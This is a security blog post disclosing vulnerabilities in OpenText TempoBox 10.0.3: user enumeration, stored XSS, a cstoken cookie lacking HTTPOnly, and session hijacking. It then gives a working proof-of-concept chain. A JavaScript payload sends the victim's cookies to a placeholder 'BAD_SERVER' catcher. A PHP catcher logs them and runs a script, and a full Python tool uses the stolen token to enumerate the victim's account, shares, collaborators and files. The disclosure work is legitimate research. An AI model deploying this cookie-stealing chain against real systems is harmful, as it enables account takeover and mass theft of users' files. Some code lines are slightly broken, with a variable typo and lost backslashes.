OpenText TempoBox 10.0.3 Vulnerabilities
During a Red Team exercise vulnerabilities that, once combined, could allow a massive sensitive data theft, were discovered on OpenText TempoBox.
TempoBox is a product that allows file sharing and storage on corporative environments, like DropBox and Google Drive services. Each user has folders where the files are uploaded, allowing the user to share these folders among other users to interact with them.
Found vulnerabilities were reported to the vendor, receiving the next answer:
(…)
OpenText Tempo 10.0.3 for Content Server 10.0.0 was released over four years ago in September 2012. Since that time, the product has been re-architected twice and many reported issues have been fixed in later versions. Additionally, Content Server 10.0.0 transitioned to the sustaining maintenance phase of its support lifecycle in September 2016. As part of that change, R&D discontinued patching Tempo 10.0.3.
(…)
Our R&D and Security Teams have evaluated your concerns and have concluded that the more recent versions of Tempo Box are not vulnerable to these exploits.
(…)
The vulnerabilities discovered are then detailed in this post, as the newer versions of OpenText TempoBox are not affected by them.
Detail of the vulnerabilities:
1) User enumeration
When trying to initiate a session on the web platform of TempoBox different error messages are displayed depending if the user is or not registered. This situation could be abused to check which users on a corporate environment have an account and proceed with a bruteforce attack over them.
If the user session does not exist, the server responds:
{"APIVersion":4,"clientID":null,"info":{"auth":false,"errMsg":"Authentication failed.","exceptionCode":"badlogin","ok":false},"serverDate":"2016-10-14T08:49:27Z","subtype":"auth","type":"auth","auth":false}
On the other hand, if the user session does exist, the error message is slightly different:
{"APIVersion":4,"clientID":null,"info":{"auth":false,"errMsg":"Invalid username/password specified.","exceptionCode":"badlogin","ok":false},"serverDate":"2016-10-14T08:50:17Z","subtype":"auth","type":"auth","auth":false}
2) Persistent Cross-Site Scripting (XSS)
It is possible to inject malicious JavaScript code on the name of an image, which gets executed when the image is previewed in the application. Due to the lack of space when storing our payload, it is necessary to combine to classic strategies: using an URL shortener and using “//” without declaring the URL schema (src=//bad-url). Using “//” directly the browser will use the same schema used in the web, something to bear in mind if HTTPS is in use to have a valid certificate.
Through this XSS is possible to create a little worm which autoreplicates on the shared folders, upload and share malware, or sensitive file exfiltration.
3) Lack of HTTPOnly flag on “cstoken” cookie
The cookie responsible of maintaining the session if correctly configured with the Secure and HTTPOnly flags set, preventing a direct way of hijacking the user session. However, the second cookie, cstoken, has not configured the HTTPOnly flag, allowing a malicious user to gain access to it using JavaScript code in the XSS. The value of this cookie does not change between sessions from the same user along the time, allowing its use for an undefined amount of time.
4) Session hijacking
The TempoBox API only verifies the value of the “cstoken” cookie and not the cookie session. By this, if a user gains access to this value, through the XSS vulnerability for example, we could gain access to the valid session and realize any action the user could. From session user A is possible to access session user B by changing the value of the “cstoken” cookie to the value of user B.
Proof of Concept
Combining all the described vulnerabilities is possible to imagine two different scenarios to take advantage of the XSS Worm: massive theft of information or malware distribution through different files. In this post, we are going to show a brief PoC, mixing the OpenText TempoBox vulnerabilities, to dig information from an account that executes the JavaScript payload.
The first step will be deploying a JavaScript file in a short domain on our control. This JavaScript will simply read the value of the “cstoken” cookie and send it back to our sever.
//JavaScript function getToken(url) { var xmlHttp = new XMLHttpRequest(); mlHttp.open( "GET", url, false ); xmlHttp.send( null ); return xmlHttp.responseText; } token = btoa(document.cookie); catcher = "https://BAD_SERVER/catcher.php?cstoken=" alert(catcher + token); //It is just a PoC test = getToken(catcher + token); //EoF
On our server, we have prepared a resource called “Catcher.php” which will be the responsible of catching the cookie value and executing a python script that will interact with the TempoBox API.
<?php if (isset($_GET['cstoken'])){ file_put_contents("../logs/xss.txt", base64_decode($_GET['cstoken']) . "n", FILE_APPEND); $token = array(); preg_match('/=(.*?);/', base64_decode($_GET['cstoken']), $token); exec("python openlegs.py --url=https://victim/tempo/ --user=USERNAME --password=PASSWORD --login --filesystem --cstoken=" . base64_encode(base64_decode(substr($token[0],1,-1))), $output); file_put_contents("../logs/tempo.txt", "n============n" . implode("n",$output) . "n", FILE_APPEND); } ?>
Last, the source code of “openlegs.py”:
import argparse import json import requests print "nn" + "<-===[OpenLegs v0.1]===->n" parser = argparse.ArgumentParser(description='OpenText Tempo utility') parser.add_argument('--url', dest='url', help='Url del Tempo Box') #parser.add_argument('--ulist', dest='user_list', help="Lista de usuarios sobre los que actuar. Formato user-password" ) parser.add_argument("--user", dest='uuser', help="Usuario sobre el que actuar") parser.add_argument("--password", dest='upwd', help="Password del usuario") parser.add_argument("--cstoken", dest='token', help="cstoken del user a impersonar") parser.add_argument("--login", dest='flag_login', action='store_true', help="Inicia sesión con los credenciales proporcionados y muestra información de la cuenta") parser.add_argument("--filesystem", dest='flag_files', action='store_true', help="En combinación de --login coge el nombre y propiedades de todos los archivos") args = parser.parse_args() ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36' cook = 'JSESSIONID=CB8E1A87EED08290CB0C7D4F4EA3C31D' headers = {'User-Agent' : ua, 'Accept' : 'application/json, text/javascript, */*; q=0.01', 'Content-Type' : 'application/json; charset=utf-8', 'Cookie' : cook} def login(user, password): payload = {"type":"auth","subtype":"auth","storeResponses":32,"username":user,"password":password,"auto":"false"} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) try: if answer['info']['errMsg']: if "failed" in answer['info']['errMsg']: return 0 elif "Invalid" in answer['info']['errMsg']: return 1 else: return -1 except: return answer def check_settings(token, id, uid): payload = {'cstoken' : token, 'clientID' : id} res = requests.get(url + "v4/users/" + uid + "/settings", params=payload, headers=headers) answer = json.loads(res.text) return answer def getsharelist(cstoken): payload = {"type":"request","subtype":"getsharelist","cstoken":cstoken,"info":{"pageSize":1000,"pageNumber":1}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) for x in answer['info']['results']: print " [-] Folder Name => " + x['FolderName'] print " |-- ReadOnly --> " + str(x['IsReadOnly']) print " |-- Nombre --> " + x['FirstName'] + " " + x['LastName'] print " |-- Last Update --> " + x['LastUpdate'] print " |-- Modified by --> " + x['ModifiedByUserName'] + " ("+ x['Name'] + ")" def getfoldercontents(cstoken, folderID): payload = {"type":"request","subtype":"getfoldercontents","cstoken":cstoken,"info":{"containerID":folderID,"sort":"NAME","page":1,"pageSize":100,"desc":"false","fields":["DATAID","PARENTID","NAME","SUBTYPE","MIMETYPE","CHILDCOUNT","DATASIZE","MODIFYDATE","ISSHARED","MODIFYUSERNAME","SHAREDFOLDER","ISSHAREABLE","ISROOTSHARE","ISREADONLY"]}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) return answer def recursive_folderid(cstoken, jfolders): folders = jfolders['info']['results']['childNodes'] visited = [] for folder in folders: if folder not in visited: current = getfoldercontents(cstoken, folder) for x in current['info']['results']['childNodes']: folders.append(x) visited.append(folder) return visited def getobjectinfo(cstoken, folderid): payload = {"type":"request","subtype":"getobjectinfo","cstoken":cstoken,"info":{"nodeIDs":[folderid],"fields":["DATAID","NAME","SUBTYPE","CHILDCOUNT","ISSHARED","ISSHAREABLE","ISROOTSHARE","MODIFYUSERNAME","MODIFYDATE","OWNERNAME","OWNERPHOTOURL","ISREADONLY","USERID","ISNOTIFYSET"]}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) return answer def getsharesforobject(cstoken, folderID): payload = {"type":"request","subtype":"getsharesforobject","cstoken":cstoken,"info":{"nodeID":folderID}} res = requests.post(url + "FrontChannel", json=payload, headers=headers) answer = json.loads(res.text) return answer def process_folder(cstoken, folders): for folder in folders: inf = getobjectinfo(cstoken, folder) for x in inf['info']['results']['contents']: name = x['NAME'] print " [-] Name => " + name ownername = x['OWNERNAME'] print " |-- Owner --> " + ownername last_update = x['MODIFYDATE'] print " |-- Last update --> " + last_update shareable = str(x['ISSHAREABLE']) print " |-- Shareable --> " + shareable shared = str(x['ISSHARED']) print " |-- Shared --> " + shared rooty = str(x['ISROOTSHARE']) print " |-- Root Folder --> " + rooty if "T" in rooty: objshared = getsharesforobject(cstoken, folder) print " +----- [ Colaborators ] --> " for y in objshared['info']['results']: print " +-----> " + y["FirstName"] + " " + y["LastName"] + " (" + y["Name"] + ")" if not args.url: print "[!] Error: please provide an URL." exit(0) else: url = args.url if url[-1:] != "/": url = url + "/" if not args.uuser and not args.upwd: print "[!] Error: please provide user and password." exit(0) if args.flag_login: ini = login(args.uuser, args.upwd) if ini == -1: print "[!] Unkown error. Quitting!" exit(0) elif ini == 0: print "[!] User not registered. Quitting!" exit(0) elif ini == 1: print "[!] User exists but password is wrong. Quitting!" else: print "[+] User successfully logged in!nn[+] Account information: " if args.token: cstoken = args.token else: cstoken = ini['cstoken'] print " [-] CsToken => " + cstoken userID = str(ini['info']['userID']) print " [-] UserID => " + userID clientID = ini['clientID'] print " [-] ClientID => " + clientID print " [-] Backend => " + ini['info']['csbaseurl'] print " [-] Name => " + ini['info']['firstName'] + " " + ini['info']['lastName'] email = ini['info']['username'] print " [-] E-mail => " + email rootfolder = str(ini['info']['rootFolder']) print " [-] Root folder ID => " + rootfolder print "nn[+] Account privileges: " print " [-] Invite => " + str(ini['info']['canInvite']) print " [-] Publish => " + str(ini['info']['canPublish']) print " [-] Share => " + str(ini['info']['canShare']) print "nn[+] Account notifications: " settings = check_settings(cstoken, clientID, userID) print " [-] On folder change => " + str(settings['notifyOnFolderChange']) print " [-] On share request => " + str(settings['notifyOnShareRequest']) # Print share requests print "nn[+] Share requests: " getsharelist(cstoken) if args.flag_files: # Print folders & files print "nn[+] Folders: " process_folder(cstoken,recursive_folderid(cstoken, getfoldercontents(cstoken, rootfolder)))
Discover our work and cybersecurity services at www.tarlogic.com